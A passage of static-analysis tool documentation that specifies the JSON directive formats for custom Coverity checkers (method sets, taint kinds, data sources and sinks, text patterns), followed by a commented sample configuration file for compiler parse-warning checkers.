such as read_from_object_with_tag and write_to_object_with_tag, can refer to these parameters
using this "tag" value. Tagging a callback parameter has no other
effect on the analysis; it simply enables the use of these other
structures.
An InputTag value is a JSON Object with the following fields:
"tag" takes a JSON string that gives the tag a name. Use
this string to name the tag in other directives.
"input" takes a ParamIn value that indicates the parameter
of the callback to which to assign the tag.
An InputValue value indicates that some argument at a callsite
flows into some parameter of a callback. An InputValue value is a
JSON Object with the following fields.
An InputValue value is a JSON Object with the following fields:
A IssueTypeDefinition value describes the sort of issues that a checker reports. Coverity Platform and other issue display interfaces use the fields of this object to describe issues the checker reports and to support sorting and filtering of issues from this checker.
A IssueTypeDefinition value is a JSON object with the following fields:
type takes a string value containing between one and
sixty-four ASCII characters, each of which must be a letter, number,
underscore, or period (in other words a string matching the
following regular expression ^[A-Za-z0-9_.]{1,64}$).
This string is used as an opaque id and is generally not visible in
the user interface.
![]() | |
The user of a prefix (such as |
name takes a JSON string that briefly describes the
kind of issue that this checker reports -- for example "SQL
Injection".
description takes a JSON string containing a longer
description of the issue, for example, "Unsafe use of tainted data
in constructing a SQL query."
local_effect takes a JSON string that explains what
effect this issue might have on execution of the code in which it is
reported -- for example "An attacker may be able to execute
arbitrary SQL queries of their choice."
cwe is an optional field that takes a JSON integer
value that indicates which entry in the Common Weakness Enumeration
(CWE) best describes this issue.
impact takes any of the following JSON strings:
"High", "Medium", "Low".
category takes a JSON string that should describe the
general class of issue that this defect belongs to, such as
"Injection Vulnerability" or "API Misuse".
quality_kind is an optional field that takes a JSON
boolean value. If it is true, issues from this checker will have a
"kind" of "quality" and appear accordingly when filtering issues in
the user interface. You can set either, both, or neither of
"quality_kind" and "security_kind" to true.
security_kind is an optional field that takes a JSON
boolean value. If it is true, issues from this checker will have a
"kind" of "security" and appear accordingly when filtering issues in
the user interface. You can set either, both, or neither of
"quality_kind" and "security_kind" to true.
Example:
"new_issue_type" : {
"type" : "leftover_debug_code",
"name" : "Deployed test servlet",
"description" : "A possible test servlet will be deployed.",
"local_effect" : "Leftover debug or test code is not intended to be deployed with the application in a production environment, and it may expose unintended functionality or bypass security features.",
"cwe" : 489,
"impact" : "Medium",
"category" : "Medium impact security",
"security_kind" : true,
}A MethodCallSpecifier value is a JSON Object that describes a method
to invoke, an argument to it, and an output parameter from it. You can specify a
MethodCallSpecifier as follows:
A method_call MethodCallSpecifier is a JSON Object that directly names
a method and an input and output of that method. It has the following
fields:
method_call takes a MethodName value.
input takes a ParamIn value.
output takes a ParamOut value.
A lookup_by_constant_param MethodCallSpecifier indicates that
the method to call depends on the value of another argument (interpreted in
the scope of the directive that contains this
MethodCallSpecifier). It has the following fields:
This JSON Object has the following fields:
lookup_by_constant_param takes a ParamIn value.
lookup_map takes a JSON string.
Given a callsite indicated by the parent directive, the ParamIn value indicates a
particular argument.
The lookup_map value is the name of a String to
MethodCallSpecifier map defined by a define_lookup_method_call_map directive.
If the argument expression's String form is a key in the map,
the corresponding MethodCallSpecifier value or JSON null
literal is evaluated in place of this lookup_by_constant_param
MethodCallSpecifier.
If the key is not in the map, the parent directive using this lookup cannot be evaluated, and a warning is logged.
Coverity supports matching the String form of the following
kinds of constant literals:
null for a null reference.
true/false for a boolean constant.
For an enum constant, the name of the
enum class (in ClassName value format), followed by a
dot, followed by the identifier for the constant."
A MethodName value is a JSON string value that describes the
mangled name for a method.
The mangled method name uses the non-generic types of the arguments and return values.
Unconstrained type variables are replaced with
java.lang.Object (Java) or System.Object
(C#).
Constrained type variables are replaced with their upper bound.
Java: For Java, mangled method names follow the grammar below (using regex-style notation):
method_name ::= class_name "." method "(" arg_list? ")" return_type
method ::= identifier
class_name ::= ( package "." )* class ( "$" inner_class )*
package ::= identifier
class ::= identifier
inner_class ::= identifier
arg_list ::= ( arg_type ", " )* arg_type
arg_type ::= type
return_type ::= type | "void"
type ::= array_type | class_name | "boolean" | "byte" | "short" | "char" |
"int" | "long" | "float" | "double"
array_type ::= type "[]"An identifier non-terminal is a valid source code
identifier.
Constructors have the string "<init>" for the method
identifier and "void" for the return_type.
.NET: For C# and Visual Basic, mangled method names follow the grammar below (using regex-style notation):
method_name ::= class_name "::" method "(" arg_list? ")" return_type
method ::= identifier generic_arity?
class_name ::= ( namespace "." )* class ( "/" inner_class )*
namespace ::= identifier
class ::= identifier generic_arity?
inner_class ::= identifier generic_arity?
arg_list ::= ( arg_type "," )* arg_type
arg_type ::= type
return_type ::= type | "System.Void"
type ::= array_type | class_name
array_type ::= type "[]"
generic_arity::= "`" [0-9]+
Constructors have the string .ctor for the method identifier and
System.Void for the return_type. Example:
NS.Foo::.ctor()System.Void
Static constructors have the string .cctor for the method
identifier and System.Void for the return_type.
Example:
NS.Foo::.cctor()System.Void
![]() | |
Primitive names are converted to the corresponding fully qualified class name, for example: bool -> System.Boolean byte -> System.Byte sbyte -> System.SByte. |
A MethodSet value is a JSON Object that describes a set of methods from the program. You
can specify a MethodSet in the following ways:
A named MethodSet is a JSON Object that has a single
field called named that takes a MethodName value.
A named MethodSet matches the method with the
mangled name in named. See the MethodName section for the
mangled name format.
The following example of a named MethodSet matches a single
print method in mypackage.MyClass.
{ "named": "mypackage.MyClass.print(java.lang.String)void" }A matching MethodSet is a JSON Object that has a single
field called matching that takes a JSON string containing a
Perl-style regular expression. It matches any method whose
mangled name satisfies the regular expression.
The entire name must be matched; a substring match is insufficient. See the
MethodName section for
the mangled name format.
The following matching MethodSet example matches any method
named print in mypackage.MyClass regardless of its
signature (for example, mypackage.MyClass.print(int)int and
mypackage.MyClass.print(java.lang.String)void).
{ "matching": "mypackage\\.MyClass\\.print\\(.*" }Note that while . (a dot) and $ are characters
that can appear in mangled names, they are also
regex metacharacters and so must be backslash-escaped. Since a backslash is
a metacharacter in JSON, it too must be escaped. Hence, when using one of
these characters as a literal in a regex context, you need to escape it by
prefixing it with two backslashes (\\. or \\$) as
in the example above. If instead, the regex above were
mypackage.MyClass.print.*, it would would match
mangled names such as
mypackageXMyClass.print(char)void.
An overrides MethodSet is a JSON Object that has a single
field called overrides that takes a MethodSet value. An overrides
MethodSet matches any method that overrides a method in
overrides, including methods in
overrides.
For example, the following overrides MethodSet matches
methods such as
java.util.ArrayList.add(java.lang.Object)boolean:
{ "overrides":
{ "named": "java.util.Collection.add(java.lang.Object)boolean" } }An implemented_in_class MethodSet is a JSON Object that has a single
field called implemented_in_class that takes a ClassSet value. An
implemented_in_class MethodSet matches any method
implemented in a class in implemented_in_class including
constructors and static initializers but not any methods inherited from
super-classes.
For example, given the class A below, the
implemented_in_class MethodSet that follows the class
matches A.getX()int, A's constructor
A.<init>(int)void, and A's
implicitly created, empty static initializer. It does not match methods that
A inherits, such as
java.lang.Object.hashCode()int.
class A {
int x;
int getX() { return x; }
A(int x0) { x = x0; }
}]]{ "implemented_in_class": { "named": "A" } }An and MethodSet is a JSON Object that has a single field called and that
takes a JSON array of MethodSet values. An and
MethodSet matches the intersection of the methods matched by the
MethodSet values in the array.
For example, the following and MethodSet matches methods in a
particular package that override a particular method.
{ "and":
[
{ "overrides": { "named": "com.example.C.print(java.lang.String)void" } },
{ "matching": "com\\.example\\.package\\..*" }
]
}For additional details, see the section called “matching MethodSet” and the section called “overrides MethodSet”.
A with_annotation MethodSet is a JSON Object that has a
single field called with_annotation that takes an AnnotationSet value. A
with_annotation MethodSet matches a method whose definition
has any of the specified annotations.
The following with_annotation MethodSet example matches any
method defined with the annotation
java.lang.annotation.Documented.
{ "with_annotation":
{ "matching": "java\\.lang\\.annotation\\.Documented" }
}Example of a matching Java method definition:
@Documented
void printHello() {
System.out.println("Hello!");
}The following with_annotation MethodSet example matches any
method defined with the annotation MyCsharpAttribute.
{ "with_annotation":
{ "named": "MyCsharpAttribute" }
}Example of a matching C# method definition:
[MyCsharpAttribute]
string GetCorporateName() {
return "Synopsys";
}A ParamIn value is a JSON
string that describes an input to a function call.
It may be one of the following values:
"this" indicates the receiver object on instance
methods.
"arg1", "arg2", and so on for
arguments/parameters. The first non-this argument or
parameter is "arg1".
A ParamOut value is a JSON string that describes an output of a function call.
It may be one of the following values:
"return" indicates the return value.
"this" indicates the receiver object on instance
methods.
"arg1", "arg2", and so on for
arguments/parameters. The first non-this argument or
parameter is "arg1".
A ReadableProgramData identifies the location of a readable
value, either for the purpose of noticing reads from that
location, or to say that something is read from that location.
A "from_callsite"
ReadableProgramData value identifies readable values produced
by callsites.
This JSON Object has the following fields:
"from_callsite" takes a CallsiteSet. This identifies callsites
of interest.
"output" takes a ParamOut. This identifies a base value
passed in or returned from a callsite.
"path" is an optional field that takes a non-empty
array of AccessPathElement values. This is an
access path to apply to the base value.
If there is no "path" field, the readable value is the base
value indicated by the "output" field. Adding a
"path" field indicates a readable value along the access
path that is off of the base value.
Example:
{
"from_callsite" : {
"call_on" : {
"read_off_any" : [ { "property" : "exampleCall" } ]
}
},
"output" : "return",
"path" : [ { "property" : "f"}, { "property" : "g" } ]
} The "from_callsite"
ReadableProgramData value above will match the readable value
exampleCall().f.g based off of the return value of this
callsite:
exampleCall();
A "read_from_object_with_tag"
ReadableProgramData value identifies readable values found
along an access path relative to a value that has been tagged by a data_has_tag
directive.
This JSON Object has these fields:
"read_from_object_with_tag" takes a string value.
This is a name identifying values tagged by any data_has_tag
directive with that name.
"path" takes a non-empty array of AccessPathElement values. This is an access
path to apply to the tagged values.
Example:
{
"read_from_object_with_tag" : "myTagName",
"path" : [ { "property" : "f"}, { "property" : "g" } ]
},The "read_from_object_with_tag"
ReadableProgramData value above with the following data_has_tag will match the
readable value at location exampleTaggedValue.f.g because it
tags the property exampleTaggedValue with the tag
"myTagName".
{
"data_has_tag" : { "read_off_any" : [ { "property" : "exampleTaggedValue" } ] },
"tag" : "myTagName"
} A "read_path_off_global"
ReadableProgramData value identifies a readable value that is
found along a given access path off of the global variable.
This JSON Object has the following fields:
"read_path_off_global" takes a non-empty array of
AccessPathElement
values.
For examples that use this ReadableProgramData, see tainted_data, async_method, local_callback, and map_write.
A "read_off_any"
ReadableProgramData value identifies a readable value found
along a given access path.
This JSON Object has the following field:
"read_off_any" takes a non-empty array of AccessPathElement values.
For examples that use this ReadableProgramData, see dataflow_through_callsite, to_callsite, from_callsite, write_to_object_with_tag.
A "read_from_js_require"
ReadableProgramData value identifies a readable value along an
access path that is relative to a JavaScript module value returned from a
require callsite. Calling require with the
name of a module is a common approach to using modules, such as in Node.js
programs.
This JSON Object has the following fields:
"read_from_js_require" takes a string, which is the
name of the JavaScript module specified in the require
callsite.
"path" is an optional field that takes a non-empty
array of AccessPathElement
values.
For examples that use this ReadableProgramData, see tainted_data, and new_on.
A "read_from_HANA_library_import"
ReadableProgramData value identifies a readable value along an
access path that is relative to a HANA XSC library returned from a
$.import callsite found in a .xsjs or
.xsjslib source file. This directive mirrors the
$.import method, in that two import formats are
supported:
A filepath locating the library file. This directive format uses
the "read_from_HANA_library_import" field to specify a
filepath locating the library source file. The optional
"package" field is not used. This format
corresponds to a call to $.import with one
argument.
A package specifier and a library name. In this directive format,
the "read_from_HANA_library_import" field specifies the
library name (without the .xsjslib extension), and the
"package" field specifies the library's
"."-separated package name. This format corresponds
to a call to $.import with two arguments.
This JSON Object has the following fields:
"read_from_HANA_library_import" takes a string, which
is either the name of the HANA XSC module specified in the
$.import callsite, or a filepath locating the
library file.
"package" is an optional string field, the presence
of which determines whether the directive is interpreted with format
1. or 2. above.
"path" is an optional field that takes a non-empty
array of AccessPathElement
values.
The following 2 example directives are equivalent:
{
"read_from_HANA_library_import" : "/package/name/lib.xsjslib",
"path" : [ { "property" : "p"} ]
},{
"read_from_HANA_library_import" : "lib",
"package" : "package.name",
"path" : [ { "property" : "p"} ]
},Both directives specified above will match both of the following
equivalent import expressions found within an .xsjs or
.xsjslib source file.
{
var p1 = $.import("/package/name/lib.xsjslib").p;
var p2 = $.import("package.name", "lib").p;
},A ReturnConstant value is a JSON Object that describes the
constant value returned by a method.
bool ReturnConstant value
A JSON Object describing a boolean constant returned by a method.
It has a field bool, taking a JSON boolean value
corresponding to the returned constant.
A TaintKindGroup value describes a set of taint kinds. It
consists of a JSON array of strings, each of which is either a TaintKind string or one of the
following special strings that denotes a set of related taint kinds:
"all_server_taints" (Java, C#, JavaScript) includes all
taint kinds that are relevant to server-side Web applications and other
server-side applications. See Section E.1.4.3.20, “TaintKind string”.
"all_jsclient_taints" (JavaScript only) includes all
taint kinds that are relevant to client-side JavaScript code (JavaScript
that runs in a Web browser). See Section E.1.4.3.20, “TaintKind string”.
"all_android_taints" (Java only) includes all taint kinds
that are relevant to Android applications. See Section E.1.4.3.20, “TaintKind string”.
A TaintKind value is a JSON string that describes a single taint
kind. It has one of the values listed below. TaintKind values are
divided into different groups that you can refer to collectively in some
directives with a TaintKindGroup.
These taint kinds are relevant to server-side Web applications and other server-side applications:
"cookie": Data from HTTP cookies. See the
--trust-cookies and --distrust-cookies options to
the cov-analyze command.
"command_line": Data from the command line. See the --trust-command-line
and --distrust-command-line options to the cov-analyze command.
"console": Data from the console. See the
--trust-console and --distrust-console options to
the cov-analyze command.
"database": Data from a database. See the
--trust-database and --distrust-database options
to the cov-analyze command.
"environment": Data from environment variables. See the
--trust-environment and --distrust-environment
options to the cov-analyze command.
"filesystem": Data read from a file. See the
--trust-filesystem and --distrust-filesystem
options to the cov-analyze command.
"http": Data from incoming HTTP requests. This does not include headers
or cookies. See the --trust-http and --distrust-http
options to the cov-analyze command.
"http_header": Data from HTTP headers. See the
--trust-http-header and --distrust-http-header
options to the cov-analyze command.
"network": Data from network connections. This does not include data from
incoming HTTP requests or remote procedure calls. See the
--trust-network and --distrust-network options to
the cov-analyze command.
"rpc": Data returned from remote procedure calls (RPC). See the
--trust-rpc and --distrust-rpc options to the
cov-analyze command.
"system_properties": Data on system properties. See the
--trust-system-properties and
--distrust-system-properties options to the
cov-analyze command.
These taint kinds are relevant to client-side JavaScript code (JavaScript that runs in a Web browser):
"js_client_cookie": Data from
document.cookie. See the
--trust-js-client-cookie and
--distrust-js-client-cookie options to the
cov-analyze command.
"js_client_external": Response data from the response to
an XMLHttpRequest or similar. See the
--trust-js-client-external and
--distrust-js-client-external options to the
cov-analyze command.
"js_client_html_element": Data from user input on HTML
elements such as textarea and input elements.
See the --trust-js-client-html-element and
--distrust-js-client-html-element options to the
cov-analyze command.
"js_client_http_referer": Data from the
'referer' HTTP header (from
document.referrer). See the
--trust-js-client-http-referer and
--distrust-js-client-http-referer options to the
cov-analyze command.
"js_client_http_header": Data from the HTTP response
header of the response to an XMLHttpRequest or similar. See
the --trust-js-client-http-header and
--distrust-js-client-http-header options to the
cov-analyze command.
"js_client_other_origin": Data from content in another
frame or from another origin, for instance, from
window.name. See the
--trust-other-origin and
--distrust-other-origin options to the
cov-analyze command.
"js_client_url_query_or_fragment": Data from the query or
fragment part of the URL, for instance, location.hash or
location.query. See the
--trust-url-query-or-fragment and
--distrust-url-query-or-fragment options to the
cov-analyze command.
These taint kinds are relevant to mobile applications:
"mobile_other_app": Data received from any mobile
application that does not require a permission to communicate with the
current application component. See the
--trust-mobile-other-app and
--distrust-mobile-other-app options to the
cov-analyze command.
"mobile_same_app": Data received from the same mobile
application. See the --trust-mobile-same-app and
--distrust-mobile-same-app options to the
cov-analyze command.
"mobile_user_input": Data obtained from user inputs into
a mobile application. See the --trust-mobile-user-input
and --distrust-mobile-user-input options to the
cov-analyze command.
"mobile_other_privileged_app": Data received from any
mobile application that requires a permission to communicate with the
current application component. See the
--trust-mobile-other-privileged-app and
--distrust-mobile--other-privileged-app options to
the cov-analyze command.
These taint kinds represent sensitive data, rather than data controlled by an attacker:
"decrypted": decrypted data
"password": a password
"token": an authentication token
"session_id": a session id
"mobile_id": a mobile device id
"user_id": an application user id
"national_id": a national id
"persistent_secret": persistent secret data, such as an
encryption key
"transient_secret": transient secret data, such as an TLS
ticket
"seed": a seed for a randomization algorithm
"cardholder_data": payment cardholder data
"account": account data
"transaction": transaction data
"medical": medical data
"biometric": biometric data
"geographical": sensitive geographical data
"exception": information about an application
exception
"source_code": application source code
"configuration": configuration data
"bug": information about a bug in the application
"filepath": a path on the filesystem
"directory_listing": a directory listing
"system_memory": information about system memory
usage
"system_user": system user data
"platform": information about the runtime platform
A TextPattern value is a JSON Object that describes a pattern for matching text strings. It
is used to define custom text checkers. You can specify a
TextPattern in the following ways:
regex TextPattern
xpath TextPattern
A "regex" TextPattern describes a regular expression that is applied to a string or the text contents of a file.
This JSON Object has these fields:
"regex" takes a string value that is a Perl-style
regular expression. Any special characters need to be
appropriately escaped for JSON.
"case_sensitive" is an optional Boolean field. If
false, the match will be insensitive to case. The default value
is true.
"line_match" is an optional Boolean field. If
true, it allows the ^ and $ symbols to match at
the beginning and end of lines. This is equivalent to the Perl
modifier //m. The default value is
true.
"dot_matches_newline" is an optional Boolean
field. If true, it allows the . (dot) pattern to
match newline characters. This is equivalent to the Perl
modifier //s. The default value is true.
Example:
{
"regex" : "WEB-INF\\/(.+)\\.xml$",
"case_sensitive" : false
}, Note that the . (dot) and / (slash) characters
are regex metacharacters and so must be backslash-escaped. Since a backslash
is a metacharacter in JSON, it too must be escaped. Hence, when using one of
these characters as a literal in a regex context, you need to
escape it by prefixing it with two backslashes (\\ or
\\/) as in the example above.
An "xpath" TextPattern describes an Xpath 1.0 expression that
can be used to match elements in an XML document.
If this pattern is applied to an input that is not parseable as XML, it will not match.
The object consists of a single field named "xpath" that take
a string value that is an Xpath expression.
Examples:
{ "xpath" : "/Catalog/Product[@name = \"soup\"]" },{ "xpath" : "/*[local-name()='project']/*[local-name()='dependencies'] and child::*[local-name()='artifactId']" },Note that the double quotes in the Xpath expression have been escaped for JSON using a backslash.
Note that the local-name() function may be convenient to
ignore the stricter namespace-specific element matching.
A WritableProgramData identifies the location of a writable
value, either for the purpose of noticing writes to that location or to say that
something is written to that location.
A "to_callsite"
WritableProgramData value identifies writable values consumed
by callsites.
This is a JSON Object with the following fields:
"to_callsite" takes a CallsiteSet. This identifies callsites
of interest.
"input" takes a ParamIn. This identifies a base value passed into the
callsite.
"path" is an optional field that takes an array of
AccessPathElement
values. This is an access path to apply to the base value.
The "path" field is only allowed for JavaScript uses of
"to_callsite"
WritableProgramData.
If there is no "path" field, the writable value is the base
value indicated by the "input" field. Adding a
"path" field indicates a writable value along the access
path off of the base value.
Example (JavaScript):
{
"to_callsite" : {
"call_on" : {
"read_off_any" : [ { "property" : "exampleCall" } ]
}
},
"input" : "arg1",
"path" : [ { "property" : "f"}, { "property" : "g" } ]
}The "to_callsite"
WritableProgramData value above will match the writable value
passedInValue.f.g when passedInValue is passed
into this callsite:
exampleCall(passedInValue);
A "write_to_object_with_tag"
WritableProgramData value identifies writable values found
along an access path relative to a value that has been tagged by a data_has_tag
directive.
This is a JSON Object with the following fields:
"write_to_object_with_tag" takes a string value. This
is a name identifying values tagged by any data_has_tag
directive with that name.
"path" takes a non-empty array of AccessPathElement values.
This is an access path to apply to the tagged values.
Example:
{
"data_has_tag" : { "read_off_any" : [ { "property" : "exampleTaggedValue" } ] },
"tag" : "myTagName"
},
{
sink_for_checker : "DOM_XSS",
sink : {
"write_to_object_with_tag" : "myTagName",
"path" : [ { "property" : "f"}, { "property" : "g" } ]
},
}The "data_has_tag" directive marks property
accesses off any object (including the global object) with
"myTagName". The "write_to_object_with_tag"
WritableProgramData matches property
writes, such as "exampleTaggedValue.f.g =
x".
A "write_path_off_global"
WritableProgramData value identifies a writable value found
along a given access path off of the global variable.
This is a JSON Object with the following fields:
"write_path_off_global" takes a non-empty array of
AccessPathElement
values.
See sink_for_checker for an
example use of this WritableProgramData.
A "write_off_any"
WritableProgramData value identifies a writable value found
along a given access path.
This is a JSON Object with the following field:
"write_off_any" takes a non-empty array of AccessPathElement
values.
See async_method for an example use of
this WritableProgramData.
A SinkKind value is a JSON string used in the sink_for_checker
directive to specify a type of sink. It is only applicable to
SENSITIVE_DATA_LEAK sinks. See the
SENSITIVE_DATA_LEAK SinkKind column of Table 4.2 Sensitive Data Sink types for
possible values.
The parse warnings configuration file provides descriptions of PW.* checkers. This file is
available in .<install_dir>/config
Parse Warnings
// parse_warnings.conf.sample
// Sample configuration for the compiler warning "PW.*","RW.*","SW,*" checkers.
// All of the configurations in this file are initially commented-out.
// The commented-out configuration reflects the shipping default. To
// adjust the behavior, first copy this file to a new file name, then
// modify lines, and/or add new lines. Finally, specify
// --parse-warnings-config <filename> to cov-analyze so it will take
// effect. Settings so specified will override the defaults.
// Lexically, this file's syntax is similar to C/C++ source code: all
// whitespace is treated uniformly, // or /**/ comments are equivalent
// to whitespace, and whitespace is needed only between tokens that
// would otherwise coalesce when adjacent.
// Structurally, each configuration directive is of the following form:
//
// chk "<checker_name>": <flag>, <flag>, ..., <flag>;
//
// checker_name begins with "PW." and is the full name of the checker
// (case sensitive) as it appears in the Coverity Prevent Defect Manager.
//
// The flags are:
//
// off: disable it entirely
// on: enable (this is the default)
// no_macros: do not report warnings inside macro expansions
// macros: report in macros (this is the default behavior)
// Parse warnings whose name do not appear in the default
// configuration have been disabled. To enable them, add a directive:
//
// enable_undocumented_warnings;
//
// It is also possible to suppress the RW.* and SW.* messages by
// adding appropriate directives to this file.
// To disable all PW/RW/SW messages, add a directive:
//
// disable_all;
//
// Then, only subsequently enabled message types will be reported.
// NOTE: Suppression of reports inside macro expansions does not work
// if cov-build/cov-translate is invoked with the --preprocess-first
// switch, since in that case the native preprocessor expands all
// macros before Coverity's front end has a chance to see them. This
// also applies to --preprocess-next for files that cov-emit is unable
// to parse when using its built-in preprocessor.
// -------------------- disabled: uninteresting ----------------------
// The checkers in this section are disabled by default because the
// things they report are not very interesting.
// Reports when an attribute is used after a parenthesized initializer
// but we're emulating a version of GCC that ignores it.
//
// This basically mimics a GCC warning.
//chk "PW.ATTRIBUTE_AFTER_PARENTHESIZED_INITIALIZER": off;
// Reports cases where a GCC attribute will be ignored by our parser.
//chk "PW.ATTRIBUTE_DOES_NOT_APPLY_TO_TYPE": off;
//chk "PW.ATTR_REQUIRES_FUNC_TYPE": off;
// Useless without more filtering, for example on whether the derived
// class destructor does anything, or (better) whether the base class is
// ever deleted polymorphically.
//chk "PW.BASE_CLASS_WITH_NONVIRTUAL_DTOR": off;
// Reports when a class and its base class have different dllexport
// and/or dllimport characteristics.
//
// Disabled because the consequences have not yet been researched.
//chk "PW.BASE_CLASS_HAS_DIFFERENT_DLL_INTERFACE": off;
// Reports when a source sequence fails to adhere to the form of a
// preprocessor token (C++ standard, 2.4).
//
// Basically, such a use constitutes use of a (perhaps only slightly)
// nonstandard preprocessor, but is otherwise harmless.
//chk "PW.BAD_TOKEN": off;
// Reports when a function is called, then later declared inline.
//
// Not prohibited by the standard, but obviously the earlier call(s)
// will not be inlined by most compilers.
//chk "PW.CALLED_FUNCTION_REDECLARED_INLINE": off;
// Reports when a declared calling convention is ignored, for example
// specifying __stdcall on a variable-argument function (which is
// always __cdecl).
//
// The only observed occurrences of this warning are in Microsoft
// headers, and even if found elsewhere this isn't very interesting.
//chk "PW.CALLING_CONVENTION_IGNORED": off;
// Reports when the ## concatenation operator yields something
// that is not a single valid token. The result is undefined in
// the language definition.
//chk "PW.CONCAT_YIELDS_INVALID_TOKEN": off;
// Reports when a redeclaration (e.g., of a typedef) specifies a
// different access control (e.g., public) level than the previous
// declaration.
//
// It's a confusing thing to do, and most likely unintentional, but a
// bit below the noise margin to be enabled by default.
//chk "PW.CANNOT_CHANGE_ACCESS": off;
// Something with inline assembly; report is not very clear.
//chk "PW.CC_CLOBBER_IGNORED": off;
//chk "PW.CONST_IGNORED": off;
// Reports when a certain declaration modifier is incompatible with
// another modifier or the underlying type. For example, "uuid" is
// only allowed to be associated with classes.
//
// The only place this fires is in Microsoft headers, which users
// generally want to ignore anyway.
//chk "PW.DECL_MODIFIERS_INVALID_FOR_THIS_DECL": off;
// Reports uses of entities that are marked as 'deprecated' in some
// compiler-specific way.
//
// Normally, the compiler itself gives warnings about these things,
// and if someone has chosen to ignore or suppress those warnings then
// they probably don't want Prevent reporting them too.
// Disabled in cov-emit.
//chk "PW.DEPRECATED_ENTITY": off;
//chk "PW.DEPRECATED_ENTITY_WITH_CUSTOM_MESSAGE": off;
// Reports when two declarations conflict over the dllexport /
// dllimport status of the entity.
//
// Disabled because the consequences have not yet been researched.
//chk "PW.DLL_INTERFACE_CONFLICT_DLLEXPORT_ASSUMED": off;
//chk "PW.DLL_INTERFACE_CONFLICT_NONE_ASSUMED": off;
// Reports when the same calling convention is specified more than
// once. (If two different conventions are specified, that is
// reported as an error, not a warning.)
//
// Benign.
//chk "PW.DUPL_CALLING_CONVENTION": off;
// Reports when something is befriended that has already been
// befriended.
//
// Benign, and in general we don't care about access control.
//chk "PW.DUPLICATE_FRIEND_DECL": off;
// Reports when a typedef is redeclared.
//
// Outside a class, it's a common extension. Inside a class, it
// is invalid (C++03, 7.1.3p2), but allowed for compatibility and
// benign anyway.
//chk "PW.DUPLICATE_TYPEDEF": off;
//chk "PW.DUPLICATE_TYPEDEF_IN_CLASS": off;
//chk "PW.SIMILAR_TYPEDEF": off; // like PW.DUPLICATE_TYPEDEF
// Reports when an exception specification is seen, but we're
// emulating MSVC 6 or earlier, which ignored them.
//
// Totally uninteresting.
//chk "PW.EXCEPTION_SPECIFICATION_IGNORED": off;
// Technically nonstandard, but almost all compilers accept it.
//chk "PW.EXTRA_SEMICOLON": off;
// Reports when a preprocessing directive is followed by something
// other than comments/whitespace before the newline.
//
// Like PW.BAD_TOKEN, it means the native preprocessor is a bit
// permissive, but there is no execution-time bug in the program.
//chk "PW.EXTRA_TEXT_IN_PP_DIRECTIVE": off;
// Reports when a dllexport/dllimport class has a field whose DLL
// disposition is not stated.
//
// Disabled because the consequences have not yet been researched.
//chk "PW.FIELD_WITHOUT_DLL_INTERFACE": off;
// Reports when a GCC linker alias causes a previous inline definition
// to be ignored.
//
// Probably not a useful report.
//chk "PW.IGNORING_INLINE_DEFINITION_BECAUSE_OF_ALIAS": off;
// Reports when a base class special function (destructor,
// constructor, conversion operator or assignment operator) is
// inaccessible.
//
// Allowed for bug compatibility with other compilers, but disabled
// because we don't care about access control issues.
//chk "PW.INACCESSIBLE_SPECIAL_FUNCTION": off;
// Reports when the last line of the file ends without a newline.
// No one cares.
//chk "PW.LAST_LINE_INCOMPLETE": off;
// Local hiding a local (as opposed to parameter) is often part of
// certain idioms. Another reasonable option is to suppress this
// warning only when a macro is involved.
//chk "PW.LOCAL_VARIABLE_HIDDEN": off;
// Reports when 'main()' does not accept either zero or two
// parameters. According to the standard, other forms are
// implementation-defined. Accepting a third 'env' argument is very
// common, but this PW does not know about it, so most of its reports
// are noise.
//chk "PW.MAIN_WRONG_NUM_PARAMS": off;
// Reports when a class is inherited w/o specifying public etc.
//chk "PW.MISSING_ACCESS_SPECIFIER": off;
// Reports the use of a character literal with more than one
// character, e.g., 'abcd'.
//
// This is nonportable. Occasionally this results from a typo (i.e.,
// a bug), but on some code bases multicharacter literals are used
// extensively and then this explodes, so it is disabled by default.
//chk "PW.MULTI_CHAR_LITERAL": off;
// Reports when a manifestly nonzero integer is converted to a
// pointer.
//
// This is uninteresting because (a) almost always, the programmer
// knows what they are doing, and (b) we routinely and casually accept
// that this is going on all the time, just with values that are not
// manifestly constants, so it's inconsistent to complain about this
// one case.
//chk "PW.NON_ZERO_INT_CONV_TO_POINTER": off;
// Arithmetic on void* is routine and benign.
//chk "PW.NONOBJECT_POINTER_ARITHMETIC": off;
// Reports a comma used at the end of an enumerator list.
//chk "PW.NONSTD_EXTRA_COMMA": off;
// Reports when a member function has its address taken implicitly,
// i.e., without the use of '&'. This is not legal C++, but allowed
// for compatibility.
//chk "PW.NONSTD_MEMBER_FUNCTION_ADDRESS": off;
// Reports members or base classes being initialized in other than declaration
// order. When doing so has a real consequence that consequence is usually
// an UNINIT defect, so the many reports of this that are not redundant with
// UNINIT are mostly noise.
//chk "PW.OUT_OF_ORDER_CTOR_INIT": off;
// Reports when a friend declaration declares a new, non-template
// function, rather than befriending an explicit specialization.
//
// Most likely, the native compiler misinterprets the syntax too;
// and anyway, it's an access control issue.
//chk "PW.PROBABLE_GUIDING_FRIEND": off;
// Extremely noisy due to reporting every signed loop counter compared to an
// unsigned loop bound, etc.
//chk "PW.SIGNED_UNSIGNED_COMPARISON": off;
// Reports when the storage class (extern, static, register, auto,
// mutable) is not first in a sequence of declaration specifiers.
//
// This might be of interest in some coding standards, but that's it.
//chk "PW.STORAGE_CLASS_NOT_FIRST": off;
// Reports when the address of a temporary object is taken.
//
// It's somewhat unusual style, but no more dangerous than binding a
// reference to a temporary, which happens all the time.
//chk "PW.TAKING_ADDRESS_OF_TEMPORARY": off;
// Reports when a transparent union (GCC extension) attribute will be
// ignored because it is applied to something inappropriate (like a
// typedef referring to an undefined struct).
//
// Uninteresting b/c we don't care about transparent union issues.
//chk "PW.TRANSPARENT_ATTRIBUTE_IGNORED": off;
// Reports any use of a trigraph. It's pretty common (and benign)
// to accidentally use them in comments.
//chk "PW.TRIGRAPH_IGNORED": off;
// Reports any time an undefined preprocessor identifier is used.
// This is quite common (the id expands to 0) and pretty benign.
//chk "PW.UNDEFINED_PREPROC_ID": off;
// Reports when size_t is not unsigned long or unsigned int.
//
// Seems to get confused by typedefs, and irrelevant anyway.
//chk "PW.UNEXPECTED_TYPE_FOR_SIZE_T": off;
// Reports when a transparent union (GCC extension) contains elements
// of differing sizes.
//
// Irrelevant for Prevent. If GCC accepted it, then we don't add much
// value by issuing a warning.
//chk "PW.UNION_CANNOT_BE_TRANSPARENT_SYM": off;
//chk "PW.UNION_CANNOT_BE_TRANSPARENT": off;
// Reports when something in a compiler attribute is not recognized.
//
// Not a bug, just something our compiler does not know about.
